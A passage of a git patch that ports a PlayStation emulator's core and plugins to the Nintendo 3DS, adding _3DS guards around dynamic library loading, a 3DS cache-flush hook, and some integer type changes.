!defined(__ARM_ARCH_7A__) /* XXX GPH hack */ +#if defined(__arm__) && !defined(__ARM_ARCH_7A__) && !defined(_3DS) /* XXX GPH hack */ sync(); #endif SysPrintf("* %s \"%s\" [%d]\n", @@ -985,7 +985,7 @@ void *SysLoadLibrary(const char *lib) { return (void *)(long)(PLUGIN_DL_BASE + builtin_plugin_ids[i]); } -#ifndef _WIN32 +#if !defined(_WIN32) && !defined(_3DS) ret = dlopen(lib, RTLD_NOW); if (ret == NULL) SysMessage("dlopen: %s", dlerror()); @@ -1002,7 +1002,7 @@ void *SysLoadSym(void *lib, const char *sym) { if (PLUGIN_DL_BASE <= plugid && plugid < PLUGIN_DL_BASE + ARRAY_SIZE(builtin_plugins)) return plugin_link(plugid - PLUGIN_DL_BASE, sym); -#ifndef _WIN32 +#if !defined(_WIN32) && !defined(_3DS) return dlsym(lib, sym); #else return NULL; @@ -1010,7 +1010,9 @@ void *SysLoadSym(void *lib, const char *sym) { } const char *SysLibError() { -#ifndef _WIN32 +#if defined(_3DS) + return NULL; +#elif !defined(_WIN32) return dlerror(); #else return "not supported"; @@ -1023,7 +1025,7 @@ void SysCloseLibrary(void *lib) { if (PLUGIN_DL_BASE <= plugid && plugid < PLUGIN_DL_BASE + ARRAY_SIZE(builtin_plugins)) return; -#ifndef _WIN32 +#if !defined(_WIN32) && !defined(_3DS) dlclose(lib); #endif } diff --git a/libpcsxcore/new_dynarec/emu_if.h b/libpcsxcore/new_dynarec/emu_if.h index 3980490a..73f842bd 100644 --- a/libpcsxcore/new_dynarec/emu_if.h +++ b/libpcsxcore/new_dynarec/emu_if.h @@ -89,7 +89,7 @@ extern void *scratch_buf_ptr; extern u32 inv_code_start, inv_code_end; /* cycles/irqs */ -extern unsigned int next_interupt; +extern u32 next_interupt; extern int pending_exception; /* called by drc */ diff --git a/libpcsxcore/new_dynarec/new_dynarec.c b/libpcsxcore/new_dynarec/new_dynarec.c index 5120df05..487f7f0f 100644 --- a/libpcsxcore/new_dynarec/new_dynarec.c +++ b/libpcsxcore/new_dynarec/new_dynarec.c @@ -53,6 +53,9 @@ static void __clear_cache(void *start, void *end) { sys_dcache_flush(start, len); sys_icache_invalidate(start, len); } +#elif defined(_3DS) +#include "3ds_utils.h" +#define __clear_cache(start,end) ctr_flush_invalidate_cache() #endif #define MAXBLOCK 4096 diff --git a/plugins/cdrcimg/cdrcimg.c b/plugins/cdrcimg/cdrcimg.c index 76cdfbaa..036c68d6 100644 --- a/plugins/cdrcimg/cdrcimg.c +++ b/plugins/cdrcimg/cdrcimg.c @@ -14,7 +14,9 @@ #include #ifndef _WIN32 #define CALLBACK +#ifndef _3DS #include +#endif #else #define WIN32_LEAN_AND_MEAN #include @@ -285,7 +287,7 @@ static long CDRinit(void) return -1; } } -#ifndef _WIN32 +#if !defined(_WIN32) && !defined(_3DS) if (pBZ2_bzBuffToBuffDecompress == NULL) { void *h = dlopen("/usr/lib/libbz2.so.1", RTLD_LAZY); if (h == NULL) diff --git a/plugins/dfxvideo/gpulib_if.c b/plugins/dfxvideo/gpulib_if.c index 01b8dde2..bb3ad563 100644 --- a/plugins/dfxvideo/gpulib_if.c +++ b/plugins/dfxvideo/gpulib_if.c @@ -309,11 +309,11 @@ void renderer_notify_res_change(void) extern const unsigned char cmd_lengths[256]; -int do_cmd_list(unsigned int *list, int list_len, int *last_cmd) +int do_cmd_list(uint32_t *list, int list_len, int *last_cmd) { unsigned int cmd = 0, len; - unsigned int *list_start = list; - unsigned int *list_end = list + list_len; + uint32_t *list_start = list; + uint32_t *list_end = list + list_len; for (; list < list_end; list += 1 + len) { -- 2.39.2